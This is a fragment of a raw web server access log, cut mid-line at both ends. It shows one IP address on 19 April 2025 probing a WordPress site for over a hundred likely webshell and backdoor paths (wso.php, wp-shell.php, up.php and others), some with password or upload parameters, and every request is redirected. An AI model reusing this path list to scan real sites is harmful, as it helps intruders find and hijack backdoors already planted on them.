- - [19/Apr/2025:19:36:47 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:49 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:50 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:52 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:54 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:56 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:58 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:00 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:02 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:03 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:03 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:04 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:05 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:06 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:08 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:08 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:09 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:09 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:10 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:11 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:11 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:13 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:14 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:16 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:18 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:19 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:21 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:23 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:26 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:27 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:28 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:29 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:30 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:31 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:31 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:33 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:34 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:36 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:36 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:37 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:39 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:39 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:40 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:41 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:41 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:42 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:42 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:44 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:44 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:45 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:46 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:46 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:47 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:48 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:49 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:51 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:52 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:55 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:57 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:58 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:37:59 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:00 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:02 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:04 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:07 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:07 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:08 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:09 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:11 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:12 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:13 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:14 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:17 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:20 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:21 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:22 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:25 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:27 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:28 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:28 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:29 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:29 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:30 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:31 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:31 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:32 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:32 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:33 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:34 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:36 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:36 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:37 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:39 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:41 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:44 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:45 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:46 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:47 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:47 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:48 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:49 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:50 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:50 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:51 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:52 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:53 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:56 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:38:58 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:00 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:02 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:03 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:03 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:05 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:06 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:09 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:10 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:12 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:12 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:13 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:15 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:17 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:19 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:21 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:22 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:23 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:24 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:25 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:26 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:26 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:28 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:29 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:30 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:31 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:32 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:33 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:36 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:39 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:41 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:44 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:46 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:47 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:50 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:51 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:53 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:53 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:55 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:56 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:57 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:57 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:58 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:39:59 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:00 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:00 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:01 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:02 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:05 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:06 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:08 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:10 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:14 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:17 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:20 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:23 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:26 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:28 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:29 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:30 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:33 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:36 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:40 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:44 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:46 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:50 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:53 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:56 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:40:58 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:00 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:02 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:06 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:08 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:10 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:13 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:17 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:18 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:21 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:22 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:23 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:26 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:30 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:33 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:36 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:38 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:41 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:42 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:45 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:47 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:49 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - 